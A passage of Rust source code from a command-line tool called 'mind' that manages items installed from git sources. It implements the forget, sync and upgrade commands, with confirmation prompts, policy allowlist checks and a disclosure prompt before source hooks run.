config.absorb_to = Some(dest.to_string_lossy().into_owned());
paths.ensure_layout()?;
config.save(paths)?;
return Ok(());
}
if !crate::hook::is_tty() {
return Ok(());
}
print!(
"\nSave '{}' as absorb_to in config.toml? [y/N] ",
dest.display()
);
let _ = std::io::stdout().flush();
let mut line = String::new();
std::io::stdin()
.read_line(&mut line)
.map_err(|e| MindError::io("<stdin>", e))?;
if parse_confirm(&line, false) {
let mut config = Config::load(paths)?;
config.absorb_to = Some(dest.to_string_lossy().into_owned());
paths.ensure_layout()?;
config.save(paths)?;
println!("Saved absorb_to = '{}'", dest.display());
}
Ok(())
}
fn out_ctx() -> crate::render::OutputCtx {
crate::render::ctx()
}
fn copy_path_recursive(src: &std::path::Path, dst: &std::path::Path) -> Result<()> {
if src.is_dir() {
std::fs::create_dir_all(dst).map_err(|e| MindError::io(dst, e))?;
let rd = std::fs::read_dir(src).map_err(|e| MindError::io(src, e))?;
for entry in rd.flatten() {
let from = entry.path();
let to = dst.join(entry.file_name());
copy_path_recursive(&from, &to)?;
}
} else {
std::fs::copy(src, dst).map_err(|e| MindError::io(src, e))?;
}
Ok(())
}
fn expand_tilde(path: &str) -> std::path::PathBuf {
if path == "~" {
return dirs::home_dir().unwrap_or_else(|| std::path::PathBuf::from("~"));
}
if let Some(rest) = path.strip_prefix("~/")
&& let Some(home) = dirs::home_dir()
{
return home.join(rest);
}
std::path::PathBuf::from(path)
}
pub fn forget(
paths: &Paths,
item_ref: Option<&str>,
unmanaged: bool,
yes: bool,
force: bool,
dangerously_skip: bool,
) -> Result<()> {
if unmanaged {
return forget_unmanaged_bulk(paths, item_ref, yes);
}
let item_ref = item_ref.expect("item_ref required when --unmanaged is not set");
let out = crate::render::ctx();
let mut manifest = Manifest::load(paths)?;
let parsed = parse_item_ref(item_ref)?;
let keys: Vec<String> = if is_glob(&parsed.name) {
let matches = select_installed(&manifest.items, &parsed);
if matches.is_empty() {
return Err(MindError::NotInstalled {
name: parsed.name.clone(),
});
}
matches.iter().map(|it| it.key().into()).collect()
} else {
match crate::resolve::resolve_installed(&manifest.items, &parsed) {
Ok(it) => vec![it.key().into()],
Err(MindError::NotInstalled { .. }) => {
let unmanaged_items = crate::unmanaged::scan(paths, &manifest)?;
let item = crate::unmanaged::resolve(&unmanaged_items, &parsed)?;
return forget_unmanaged_single(item, yes);
}
Err(e) => return Err(e),
}
};
if keys.len() > 1 && !yes {
if !out.json {
println!("forget would remove {} item(s):", keys.len());
for key in &keys {
println!(" {} {}", out.warn(), crate::sanitize::strip_ansi(key));
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("removing {} items", keys.len()),
out.json,
),
});
}
if !confirm("remove these item(s)?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
let registry = Registry::load(paths)?;
let catalog = catalog::scan(paths, ®istry).unwrap_or_default();
if keys.len() == 1 {
let removed_key = &keys[0];
let graph = crate::deps::installed_graph(
&catalog,
|it| {
manifest
.items
.get(it.key().as_str())
.is_some_and(|m| m.source == it.source)
},
read_item_text,
);
let dependents = graph.dependents(removed_key);
if !dependents.is_empty() && !yes && !force {
let removed_display = crate::sanitize::strip_ansi(removed_key);
if !out.json {
println!(
"{} removing {removed_display} will break the following installed items that depend on it:",
out.warn()
);
for dep in &dependents {
println!(" {}", crate::sanitize::strip_ansi(dep));
}
}
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!(
"removing {removed_display} (has {} dependent(s))",
dependents.len()
),
out.json,
),
});
}
if !confirm("remove anyway?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
}
let mut removed: Vec<String> = Vec::new();
let mut removed_sources: BTreeSet<String> = BTreeSet::new();
for key in keys {
let item = manifest.items.remove(&key).expect("key from manifest");
let uninstall_hooks: Vec<&crate::mindfile::ResolvedHook> =
item_catalog_match(&catalog, &item)
.map(|c| c.uninstall_hooks())
.unwrap_or_default();
let commit = registry
.find(&item.source)
.and_then(|s| s.commit.clone())
.unwrap_or_default();
if let Err(e) = uninstall_item(paths, &item, &uninstall_hooks, &commit, dangerously_skip) {
manifest.items.insert(key.clone(), item);
if let Err(se) = manifest.save(paths) {
warn_manifest_save_also_failed(&se);
}
return Err(e);
}
removed_sources.insert(item.source.clone());
let key_display = crate::sanitize::strip_ansi(&key);
removed.push(key_display.clone());
if !out.json {
println!("{} forgot {key_display}", out.ok());
}
}
manifest.save(paths)?;
for src_name in &removed_sources {
if registry
.find(src_name)
.is_some_and(|s| s.item_path.is_some())
&& !manifest.items.values().any(|it| &it.source == src_name)
{
let quoted_src = crate::error::shell_quote(src_name);
eprintln!(
"hint: item link {src_name} has nothing installed; run `mind unmeld {quoted_src}` to drop it"
);
}
}
if out.json {
let mut result = MutationResult::new("forget", item_ref, "removed");
result.removed = removed;
return print_json(&result);
}
Ok(())
}
fn forget_unmanaged_single(item: &crate::unmanaged::UnmanagedItem, yes: bool) -> Result<()> {
let out = crate::render::ctx();
let where_ = item
.paths
.iter()
.map(|p| display_path(p))
.collect::<Vec<_>>()
.join(", ");
if !out.json {
println!(
"{} {} is not managed by mind: it is your own file or directory at {where_}, not a mind install. Removing it deletes it.",
out.warn(),
item.display_key()
);
}
if !yes {
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("removing unmanaged {}", item.display_key()),
out.json,
),
});
}
if !confirm("remove this unmanaged item?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
for p in &item.paths {
crate::install::remove_path(p)?;
}
if out.json {
let mut result = MutationResult::new("forget", &item.display_key(), "removed");
result.removed = vec![item.display_key()];
return print_json(&result);
}
println!("{} forgot {} (unmanaged)", out.ok(), item.display_key());
Ok(())
}
fn forget_unmanaged_bulk(paths: &Paths, item_ref: Option<&str>, yes: bool) -> Result<()> {
let out = crate::render::ctx();
let manifest = Manifest::load(paths)?;
let scanned = crate::unmanaged::scan(paths, &manifest)?;
let parsed = item_ref.map(parse_item_ref).transpose()?;
let matched = crate::unmanaged::select(&scanned, parsed.as_ref());
let sentinel = item_ref.unwrap_or("*");
if matched.is_empty() {
return Err(MindError::NotInstalled {
name: sentinel.to_string(),
});
}
if !out.json {
println!(
"{} forget --unmanaged would remove {} unmanaged item(s):",
out.warn(),
matched.len()
);
for item in &matched {
println!(" {} {}", out.warn(), item.display_key());
}
println!(
"{} these items are NOT managed by mind: removing them deletes your own files or directories, not symlinks.",
out.warn()
);
}
if !yes {
if !crate::hook::is_tty() || out.json {
return Err(MindError::ConfirmationRequired {
action: json_confirmation_action(
format!("removing {} unmanaged items", matched.len()),
out.json,
),
});
}
if !confirm("remove these unmanaged items?")? {
println!("cancelled; nothing removed");
return Ok(());
}
}
let mut removed: Vec<String> = Vec::new();
for item in &matched {
for p in &item.paths {
crate::install::remove_path(p)?;
}
removed.push(item.display_key());
if !out.json {
println!("{} forgot {} (unmanaged)", out.ok(), item.display_key());
}
}
if out.json {
let mut result = MutationResult::new("forget", sentinel, "removed");
result.removed = removed;
return print_json(&result);
}
Ok(())
}
pub fn sync(
paths: &Paths,
then_upgrade: bool,
yes: bool,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
sync_with_selector(
paths,
None,
then_upgrade,
yes,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)
}
pub fn sync_with_selector(
paths: &Paths,
source_selector: Option<&str>,
then_upgrade: bool,
yes: bool,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
let out = crate::render::ctx();
if let Some(sel) = source_selector {
crate::resolve::validate_source_selector(sel)?;
}
let policy = Policy::load()?;
let prefer_ssh = Config::load(paths)?.ssh;
let mut registry = Registry::load(paths)?;
let mut sync_skipped: Vec<SkippedEntry> = Vec::new();
let mut provision_failures: Vec<String> = Vec::new();
let mut provisioned_keys: Vec<String> = Vec::new();
if let Some(policy) = policy.as_ref().filter(|_| source_selector.is_none()) {
paths.ensure_layout()?;
let mut visited = HashSet::new();
let mut provisioned = 0usize;
for am in policy.auto_meld() {
let source_registered: bool = 'registered: {
if let Ok(spec) = parse_spec_quiet(&am.repo)
&& let Some(src) = registry.sources.iter_mut().find(|s| s.name == spec.name)
{
let old_pin = src.pin.clone();
if old_pin == am.pin {
break 'registered true;
}
src.pin = am.pin.clone();
provisioned += 1; if !out.json {
println!(
" {} re-pinned {} {} -> {}",
out.ok(),
spec.name,
pin_description(&old_pin),
pin_description(&am.pin),
);
}
break 'registered true;
}
let snapshot_len = registry.sources.len();
match meld_recursive(
paths,
&mut registry,
&am.repo,
None,
vec![],
vec![],
false, PinRequest::Follow(am.pin.clone()), false, &mut visited,
Some(policy),
None, false, prefer_ssh,
true, None, &mut sync_skipped,
) {
Ok(n) => {
provisioned += n;
break 'registered true;
}
Err(e) => {
registry.sources.truncate(snapshot_len);
if !out.json {
eprintln!(
" {} auto_meld provisioning failed for '{}': {e}",
out.warn(),
am.repo
);
}
provision_failures.push(am.repo.clone());
break 'registered false;
}
}
};
if am.install && source_registered {
if let Ok(spec) = parse_spec_quiet(&am.repo) {
if provisioned > 0 {
if let Err(e) = registry.save(paths) {
provision_failures.push(am.repo.clone());
if !out.json {
eprintln!(
" {} auto_meld registry save failed before install for '{}': {e}",
out.warn(),
am.repo
);
}
provisioned = 0; continue;
}
provisioned = 0; }
let (keys, item_failures) =
install_provisioned_items(paths, &spec.name, am.run_build_hooks);
provisioned_keys.extend(keys);
for (key, e) in item_failures {
if !out.json {
eprintln!(
" {} auto_meld item install failed for '{}' ({}): {e}",
out.warn(),
am.repo,
key,
);
}
provision_failures.push(format!("{}:{}", am.repo, key));
}
}
}
}
if provisioned > 0 {
registry.save(paths)?;
}
}
if registry.sources.is_empty() && provision_failures.is_empty() {
if out.json {
return print_json(&MutationResult::new("sync", "", "no-op"));
}
println!("no sources melded; run `mind meld <owner/repo>` to add one");
return Ok(());
}
let selected: Option<Vec<String>> = match source_selector {
Some(sel) => {
let names: Vec<String> = registry
.sources
.iter()
.filter(|s| crate::resolve::source_matches_glob(&s.name, sel))
.map(|s| s.name.clone())
.collect();
if names.is_empty() {
return Err(MindError::SourceNotFound {
name: sel.to_string(),
});
}
Some(names)
}
None => None,
};
let in_scope = |name: &str| {
selected
.as_ref()
.is_none_or(|ns| ns.iter().any(|n| n == name))
};
let total = selected.as_ref().map_or(registry.sources.len(), Vec::len);
let mut failures: Vec<String> = Vec::new();
let mut synced = 0usize;
for source in &mut registry.sources {
if !in_scope(&source.name) {
continue;
}
if let Some(policy) = policy.as_ref()
&& policy.lock()
&& !policy.allow_matches(&source.base_identity())
{
if !out.json {
println!(
"{} skipping {}: source not permitted by the managed policy's allowlist",
out.warn(),
source.name
);
}
continue;
}
if !out.json {
print!("{} syncing {} ... ", out.bullet(), source.name);
let _ = std::io::stdout().flush();
}
let refreshed = (|| -> Result<(String, bool, Option<String>)> {
let dir = clone_dir_checked(paths, source)?;
if source.is_linked() {
if !dir.is_dir() {
return Err(MindError::NotADirectory {
path: dir.display().to_string(),
});
}
let new_commit = git::head_commit(&source.url, &dir)
.ok()
.or_else(|| source.commit.clone())
.unwrap_or_default();
let changed = source.commit.as_deref() != Some(new_commit.as_str());
let desc = MindToml::load(&dir)?
.and_then(|mt| mt.source.description)
.map(|d| strip_ansi(&d));
return Ok((new_commit, changed, desc));
}
let pin = source.pin.clone();
if dir.join(".git").is_dir() {
git::sync_to_pin(&source.url, &dir, &pin)?;
} else {
if let Some(parent) = dir.parent() {
crate::paths::mkdir_p(parent)?;
}
git::clone_at(&source.url, &dir, &pin)?;
}
let new_commit = git::head_commit(&source.url, &dir)?;
let changed = source.commit.as_deref() != Some(new_commit.as_str());
let desc = MindToml::load(&dir)?
.and_then(|mt| mt.source.description)
.map(|d| strip_ansi(&d));
Ok((new_commit, changed, desc))
})();
match refreshed {
Ok((new_commit, changed, desc)) => {
source.commit = Some(new_commit.clone());
source.description = desc;
synced += 1;
if !out.json {
let label = if changed {
out.green("updated")
} else {
out.dim("up to date")
};
println!("{} ({})", label, short(&new_commit));
}
}
Err(e) => {
if !out.json {
println!("{}", out.red("failed"));
let safe_e = strip_ansi(&e.to_string());
eprintln!(" {} {}: {safe_e}", out.err(), source.name);
if git::is_auth_failure(&e) && !source.is_local() {
for line in git::auth_hint_lines(&source.ssh_url()) {
eprintln!("{line}");
}
} else if git::is_proxy_failure(&e) {
for line in git::proxy_hint_lines() {
eprintln!("{line}");
}
}
}
failures.push(source.name.clone());
}
}
}
registry.save(paths)?;
if source_selector.is_none() {
struct NestedTodo {
spec: String,
alias: Option<String>,
curated: CuratedConfig,
on_auth_failure: Option<crate::mindfile::OnAuthFailure>,
}
let mut nested: Vec<NestedTodo> = Vec::new();
for s in ®istry.sources {
if s.item_path.is_some() {
continue;
}
let clone_dir = s.clone_dir(paths);
let toml_path = clone_dir.join("mind.toml");
let Some(mt) = MindToml::load(&clone_dir).ok().flatten() else {
continue;
};
let Some(discover) = mt.discover else {
continue;
};
for ns in discover.sources {
let curated = CuratedConfig {
pin: ns.pin_directive(&toml_path)?,
roots: ns.roots.clone(),
add_roots: ns.add_roots.clone(),
flat_skills: ns.flat_skills,
hooks: ns.resolved_hooks(&toml_path)?,
};
let ns_alias = ns.effective_alias();
nested.push(NestedTodo {
spec: ns.source,
alias: ns_alias,
curated,
on_auth_failure: ns.on_auth_failure,
});
}
}
for s in ®istry.sources {
if s.item_path.is_some() {
continue;
}
let clone_dir = s.clone_dir(paths);
let is_authoritative_source = MindToml::load(&clone_dir)
.ok()
.flatten()
.is_some_and(|m| m.is_authoritative());
if is_authoritative_source {
continue;
}
let marketplace_path = plugin_manifest::marketplace_manifest_path(&clone_dir);
if !marketplace_path.is_file() {
continue;
}
let Ok(manifest) = plugin_manifest::load_marketplace_manifest(&marketplace_path) else {
continue;
};
for entry in manifest.into_entries() {
if matches!(entry.source, plugin_manifest::PluginSource::InRepo { .. }) {
continue;
}
let repo_spec = marketplace_entry_spec(&entry, &clone_dir);
nested.push(NestedTodo {
spec: repo_spec,
alias: Some(entry.name),
curated: CuratedConfig {
pin: None,
roots: None,
add_roots: None,
flat_skills: false,
hooks: Vec::new(),
},
on_auth_failure: None,
});
}
}
let mut visited: HashSet<String> = registry
.sources
.iter()
.map(|s| format!("{}|{}", s.name, s.url))
.collect();
let mut discovered = 0usize;
for todo in nested {
if let Ok(mut s) = parse_spec_quiet(&todo.spec)
&& {
s.apply_alias(todo.alias.clone());
true
}
&& registry.find(&s.name).is_some()
{
continue;
}
let todo_alias = todo.alias.clone();
match meld_recursive(
paths,
&mut registry,
&todo.spec,
todo.alias,
vec![],
vec![], false, PinRequest::None,
false,
&mut visited,
policy.as_ref(),
None, false, prefer_ssh,
true, Some(todo.curated),
&mut sync_skipped,
) {
Ok(n) => discovered += n,
Err(e) if git::is_auth_failure(&e) => {
let entry_name = parse_spec_quiet(&todo.spec)
.map(|mut s| {
s.apply_alias(todo_alias.clone());
s.name
})
.unwrap_or_else(|_| todo.spec.clone());
if registry.find(&entry_name).is_some() {
return Err(e);
}
let Some(cfg) = &todo.on_auth_failure else {
return Err(e);
};
for line in auth_failure_lines(&entry_name, cfg) {
eprintln!("{line}");
}
if cfg.action == AuthFailureAction::Skip {
sync_skipped.push(SkippedEntry {
source: entry_name,
reason: "auth_failure".into(),
});
continue;
}
return Err(e);
}
Err(e) => {
let entry_name = parse_spec_quiet(&todo.spec)
.map(|mut s| {
s.apply_alias(todo_alias.clone());
s.name
})
.unwrap_or_else(|_| todo.spec.clone());
if registry.find(&entry_name).is_some() {
return Err(e);
}
for line in clone_failure_lines(&entry_name, &e) {
eprintln!("{line}");
}
sync_skipped.push(SkippedEntry {
source: entry_name,
reason: "clone_failure".into(),
});
continue;
}
}
}
if discovered > 0 {
registry.save(paths)?;
}
}
let total_failed = failures.len() + provision_failures.len();
if total_failed > 0 {
return Err(MindError::SyncFailed {
failed: total_failed,
total: total + provision_failures.len(),
});
}
let mut upgraded: Vec<String> = Vec::new();
if then_upgrade {
let pass = upgrade_inner_scoped(
paths,
yes,
None,
true,
selected.as_deref(),
source_selector,
None,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?;
if let Some(result) = pass {
upgraded = result.installed;
}
}
if out.json {
let mut result = MutationResult::new("sync", "", "synced");
result.count = Some(synced);
result.skipped = sync_skipped;
result.installed = provisioned_keys.iter().map(|k| strip_ansi(k)).collect();
result.installed.extend(upgraded);
print_json(&result)?;
}
Ok(())
}
fn sync_sources_for_upgrade(
paths: &Paths,
registry: &mut Registry,
item_ref: Option<&str>,
out: &crate::render::OutputCtx,
) -> Result<()> {
let in_scope: Option<HashSet<String>> =
item_ref.and_then(|r| parse_item_ref(r).ok()).map(|f| {
Manifest::load(paths)
.map(|m| {
m.items
.values()
.filter(|it| crate::resolve::installed_matches_glob(it, &f))
.map(|it| it.source.clone())
.collect()
})
.unwrap_or_default()
});
let should_sync = |name: &str| in_scope.as_ref().is_none_or(|s| s.contains(name));
for source in &mut registry.sources {
if !should_sync(&source.name) {
continue;
}
let refreshed = (|| -> Result<(String, bool)> {
let dir = clone_dir_checked(paths, source)?;
if source.is_linked() {
if !dir.is_dir() {
return Err(MindError::NotADirectory {
path: dir.display().to_string(),
});
}
let new_commit = git::head_commit(&source.url, &dir)
.ok()
.or_else(|| source.commit.clone())
.unwrap_or_default();
let changed = source.commit.as_deref() != Some(new_commit.as_str());
return Ok((new_commit, changed));
}
let pin = source.pin.clone();
if dir.join(".git").is_dir() {
git::sync_to_pin(&source.url, &dir, &pin)?;
} else {
if let Some(parent) = dir.parent() {
crate::paths::mkdir_p(parent)?;
}
git::clone_at(&source.url, &dir, &pin)?;
}
let new_commit = git::head_commit(&source.url, &dir)?;
let changed = source.commit.as_deref() != Some(new_commit.as_str());
Ok((new_commit, changed))
})();
match refreshed {
Ok((new_commit, _)) => {
source.commit = Some(new_commit);
}
Err(e) => {
if !out.json {
eprintln!(
" warning: could not sync {}: {e}; upgrade will use stale clone",
source.name
);
}
}
}
}
registry.save(paths)?;
Ok(())
}
pub fn upgrade(
paths: &Paths,
yes: bool,
item_ref: Option<&str>,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
emit_upgrade_result(upgrade_inner(
paths,
yes,
item_ref,
false,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?)
}
pub fn upgrade_no_sync(
paths: &Paths,
yes: bool,
item_ref: Option<&str>,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
emit_upgrade_result(upgrade_inner(
paths,
yes,
item_ref,
true,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?)
}
pub fn upgrade_no_sync_keys(
paths: &Paths,
yes: bool,
keys: &[String],
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<()> {
emit_upgrade_result(upgrade_inner_scoped(
paths,
yes,
None,
true,
None,
None,
Some(keys),
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)?)
}
fn emit_upgrade_result(result: Option<MutationResult>) -> Result<()> {
match result {
Some(r) => print_json(&r),
None => Ok(()),
}
}
fn upgrade_inner(
paths: &Paths,
yes: bool,
item_ref: Option<&str>,
no_sync: bool,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<Option<MutationResult>> {
upgrade_inner_scoped(
paths,
yes,
item_ref,
no_sync,
None,
None,
None,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
)
}
#[allow(clippy::too_many_arguments)]
fn upgrade_inner_scoped(
paths: &Paths,
yes: bool,
item_ref: Option<&str>,
no_sync: bool,
source_scope: Option<&[String]>,
source_filter_desc: Option<&str>,
key_scope: Option<&[String]>,
dangerously_skip_hook_check: bool,
dangerously_skip_build_hook_check: bool,
) -> Result<Option<MutationResult>> {
let out = crate::render::ctx();
let policy = Policy::load()?;
let mut registry = Registry::load(paths)?;
if !no_sync {
sync_sources_for_upgrade(paths, &mut registry, item_ref, &out)?;
}
let manifest = Manifest::load(paths)?;
let filter = item_ref.map(parse_item_ref).transpose()?;
let source_scope: Option<HashSet<String>> =
source_scope.map(|names| names.iter().cloned().collect());
let key_scope: Option<HashSet<String>> = key_scope.map(|keys| keys.iter().cloned().collect());
let from_filter: Option<HashSet<String>> = filter.as_ref().map(|f| {
manifest
.items
.values()
.filter(|it| crate::resolve::installed_matches_glob(it, f))
.map(|it| it.source.clone())
.collect::<HashSet<String>>()
});
let from_keys: Option<HashSet<String>> = key_scope.as_ref().map(|keys| {
manifest
.items
.values()
.filter(|it| keys.contains(it.key().as_str()))
.map(|it| it.source.clone())
.collect::<HashSet<String>>()
});
let scope_names: Vec<String> = {
let mut set: HashSet<String> = HashSet::new();
for s in [
from_filter.as_ref(),
source_scope.as_ref(),
from_keys.as_ref(),
]
.into_iter()
.flatten()
{
set.extend(s.iter().cloned());
}
let mut v: Vec<String> = set.into_iter().collect();
v.sort();
v
};
let filter_desc = item_ref.or(source_filter_desc);
let multi_source_note = multi_source_upgrade_note(&scope_names, filter_desc);
if let Some(note) = &multi_source_note {
if out.json {
eprintln!("{} {note}", out.warn());
} else {
println!(" {} {note}", out.warn());
}
}
let hook_scope: Option<HashSet<String>> = {
let candidates: Vec<HashSet<String>> = [from_filter, source_scope.clone(), from_keys]
.into_iter()
.flatten()
.collect();
let mut candidates = candidates.into_iter();
candidates
.next()
.map(|first| candidates.fold(first, |acc, c| acc.intersection(&c).cloned().collect()))
};
rerun_source_hooks(
paths,
&mut registry,
dangerously_skip_hook_check,
hook_scope.as_ref(),
policy.as_ref(),
)?;
let mut catalog: Vec<CatalogItem> = Vec::new();
let mut unscannable: Vec<String> = Vec::new();
for s in ®istry.sources {
if let Err(e) = catalog::scan_source(paths, s, &mut catalog) {
unscannable.push(s.name.clone());
if !out.json {
let safe_e = strip_ansi(&e.to_string());
eprintln!(
"{} could not check {}: {safe_e}; run `mind sync` or `mind introspect` to diagnose",
out.warn(),
s.name
);
}
}
}
let mut pending: Vec<Upgrade> = Vec::new();
for installed in manifest.items.values() {
match upgrade_item_disposition(
installed,
filter.as_ref(),
source_scope.as_ref(),
key_scope.as_ref(),
policy.as_ref(),
®istry,
) {
UpgradeDisposition::OutOfScope => continue,
UpgradeDisposition::PolicyBlocked => {
if !out.json {
println!(
"{} skipping {} from {}: source not permitted by the managed policy's allowlist",
out.warn(),
installed.display_key(),
strip_ansi(&installed.source)
);
}
continue;
}
UpgradeDisposition::SourceNotRegistered => {
if !out.json {
println!(
"{} skipping {} from {}: source is not registered (not currently melded); run `mind introspect` to check for drift",
out.warn(),
installed.display_key(),
strip_ansi(&installed.source)
);
}
continue;
}
UpgradeDisposition::Consider => {}
}
let Some(cat) = catalog.iter().find(|c| {
c.kind == installed.kind
&& c.name == installed.bare_name
&& c.source == installed.source
}) else {
continue;
};
let new_hash = cat.content_hash()?;
let new_name = cat.effective_name();
let new_commit = registry
.find(&installed.source)
.and_then(|s| s.commit.clone())
.unwrap_or_default();
let renamed = new_name != installed.name;
if new_hash != installed.hash || renamed {
pending.push(Upgrade {
cat: cat.clone(),
old: installed.clone(),
new_commit,
new_hash,
new_name,
});
}
}
let target = item_ref.unwrap_or("all");
if pending.is_empty() {
if !unscannable.is_empty() {
if out.json {
let mut result = MutationResult::new("upgrade", target, "incomplete");
result.count = Some(unscannable.len());
return Ok(Some(result));
}
println!(
"no pending upgrades among the source(s) that could be checked; {} source(s) could not be checked: {}",
unscannable.len(),
unscannable.join(", ")
);
return Ok(None);
}
if out.json {
return Ok(Some(MutationResult::new("upgrade", target, "up-to-date")));
}
println!("everything is up to date");
return Ok(None);
}
if !out.json {
print_upgrade_report(®istry, &pending);
}
for up in &pending {
if up.new_name == up.old.name {
continue;
}
let new_key = format!("{}:{}", up.old.kind.as_str(), up.new_name);
if let Some(occupant) = manifest.items.get(&new_key) {
let same_identity = occupant.kind == up.old.kind
&& occupant.bare_name == up.old.bare_name
&& occupant.source == up.old.source;
if !same_identity {
return Err(MindError::UpgradeRenameCollision {
key: strip_ansi(&new_key),
existing_source: strip_ansi(&occupant.source),
incoming: strip_ansi(up.old.key().as_str()),
incoming_source: strip_ansi(&up.old.source),
});
}
}
}
{
use std::collections::HashMap;
let mut seen: HashMap<String, &Upgrade> = HashMap::new();
for up in &pending {
let key = format!("{}:{}", up.old.kind.as_str(), up.new_name);
if let Some(prev) = seen.get(&key) {
let same_identity = prev.old.kind == up.old.kind
&& prev.old.bare_name == up.old.bare_name
&& prev.old.source == up.old.source;
if !same_identity {
return Err(MindError::UpgradeRenameCollision {
key: strip_ansi(&key),
existing_source: strip_ansi(&prev.old.source),
incoming: strip_ansi(up.old.key().as_str()),
incoming_source: strip_ansi(&up.old.source),
});
}
} else {
seen.insert(key, up);
}
}
}
if !yes {
if out.json {
let action = match &multi_source_note {
Some(note) => {
json_confirmation_action(format!("applying pending upgrades ({note})"), true)
}
None => json_confirmation_action("applying pending upgrades", true),
};
return Err(MindError::ConfirmationRequired { action });
}
if !confirm_default_yes("apply these upgrades?")? {
println!("aborted; nothing changed");
return Ok(None);
}
}
let mut manifest = manifest;
let mut applied: Vec<String> = Vec::new();
let mut renamed = false;
for up in &pending {
let siblings = siblings_of(&catalog, &up.cat.source);
let (cat, dropped_requires) = match link_reconciled(paths, ®istry, &up.cat) {
Ok(c) => c,
Err(e) => {
if let Err(se) = manifest.save(paths) {
warn_manifest_save_also_failed(&se);
}
return Err(e);
}
};
let is_update = up.new_name == up.old.name;
let installed = match install_item(
paths,
&cat,
&up.new_commit,
&siblings,
false,
dangerously_skip_hook_check,
dangerously_skip_build_hook_check,
is_update,
) {
Ok(mut i) => {
i.dropped_requires = dropped_requires;
i
}
Err(e) => {
if let Err(se) = manifest.save(paths) {
warn_manifest_save_also_failed(&se);
}
return Err(e);
}
};
if up.new_name != up.old.name {
let mut old_for_uninstall = up.old.clone();
old_for_uninstall
.links
.retain(|l| !installed.links.contains(l));
if let Err(e) = uninstall_item(
paths,
&old_for_uninstall,
&up.cat.uninstall_hooks(),
&up.old.commit,
dangerously_skip_hook_check,
) {
manifest.insert(installed);
if let Err(se) = manifest.save(paths) {
warn_manifest_save_also_failed(&se);
}
return Err(e);
}
manifest.items.remove(up.old.key().as_str());
renamed = true;
if !out.json {
println!(
"{} upgraded {} -> {}",
out.ok(),
up.old.display_key(),
out.green(&installed.display_key())
);
}
} else {
for old_link in &up.old.links {
if !installed.links.contains(old_link)
&& let Err(e) = install::remove_path(std::path::Path::new(old_link))
{
manifest.insert(installed);
if let Err(se) = manifest.save(paths) {
warn_manifest_save_also_failed(&se);
}
return Err(e);
}
}
if !out.json {
println!(
"{} upgraded {}",
out.ok(),
out.green(&installed.display_key())
);
}
}
applied.push(installed.display_key());
manifest.insert(installed);
}
manifest.save(paths)?;
if out.json {
let outcome = if renamed { "renamed" } else { "upgraded" };
let mut result = MutationResult::new("upgrade", target, outcome);
result.installed = applied;
return Ok(Some(result));
}
Ok(None)
}
fn rerun_source_hooks(
paths: &Paths,
registry: &mut Registry,
dangerously_skip_hook_check: bool,
in_scope: Option<&HashSet<String>>,
policy: Option<&Policy>,
) -> Result<()> {
let mut changed = false;
for source in &mut registry.sources {
let dir = source.clone_dir(paths);
let pending = pending_update_hooks(source, &dir);
if pending.hooks.is_empty() {
continue;
}
if let Some(scope) = in_scope
&& !scope.contains(&source.name)
{
continue;
}
if let Some(policy) = policy
&& policy.lock()
&& !policy.allow_matches(&source.base_identity())
{
if !json_mode() {
println!(
"skipping {} hook for {}: source not permitted by the managed policy's allowlist",
pending.event, source.name
);
}
continue;
}
let event = pending.event;
let recorded_event = pending.recorded_event;
let pin_desc = pin_description(&source.pin);
let commit = source.commit.clone().unwrap_or_default();
let clone_path = dir.display().to_string();
for hook in pending.hooks {
let run = if dangerously_skip_hook_check {
if !json_mode() {
println!(
"note: running {event} hook for {} without the safety prompt (--dangerously-skip-install-hook-check)",
source.name
);
}
true
} else if !crate::hook::is_tty() {
if !json_mode() {
println!(
"note: skipped the {event} hook for {} (no TTY); its tooling may be out of date until the hook is run",
source.name
);
}
false
} else {
let browse_url = source.browse_url(&commit);
let disclosure = crate::hook::hook_disclosure_text(
&hook.label,
event,
hook.optional,
&source.name,
&pin_desc,
&commit,
&clone_path,
&hook.run,
hook.declared_override.as_deref(),
browse_url.as_deref(),
);
if hook.optional {
matches!(
crate::hook::prompt_choice_optional(&disclosure)?,
crate::hook::OptionalChoice::Run
)
} else {
matches!(
crate::hook::prompt_choice(&disclosure)?,
crate::hook::HookChoice::RunAndContinue
)
}
};
if run {
if let Err(e) =
crate::hook::run_hook(&hook.run, &dir, &source.name, event, &hook.label)
{
if changed {
registry.save(paths)?;
}
return Err(e);
}
let ran_at = source.commit.clone();
record_install_hook(source, &hook.run, recorded_event, ran_at);
changed = true;
if !json_mode() {
println!("ran {event} hook for {}", source.name);
}
}
}
}
if changed {
registry.save(paths)?;
}
Ok(())
}
struct UpgradeHook {
run: String,
label: String,
optional: bool,
declared_override: Option<String>,
}
struct PendingUpgradeHooks {
event: &'static str,
recorded_event: RecordedEvent,
hooks: Vec<UpgradeHook>,
}
fn pending_update_hooks(
source: &crate::source::Source,
clone_dir: &std::path::Path,
) -> PendingUpgradeHooks {
let loaded = MindToml::load(clone_dir).ok().flatten();
let has_manifest = loaded.is_some();
let declared = loaded
.map(|mf| {
mf.resolved_hooks(&clone_dir.join("mind.toml"))
.unwrap_or_default()
})
.unwrap_or_default();
select_upgrade_hooks(source, &declared, has_manifest)
}
fn select_upgrade_hooks(
source: &crate::source::Source,
declared: &[crate::mindfile::ResolvedHook],
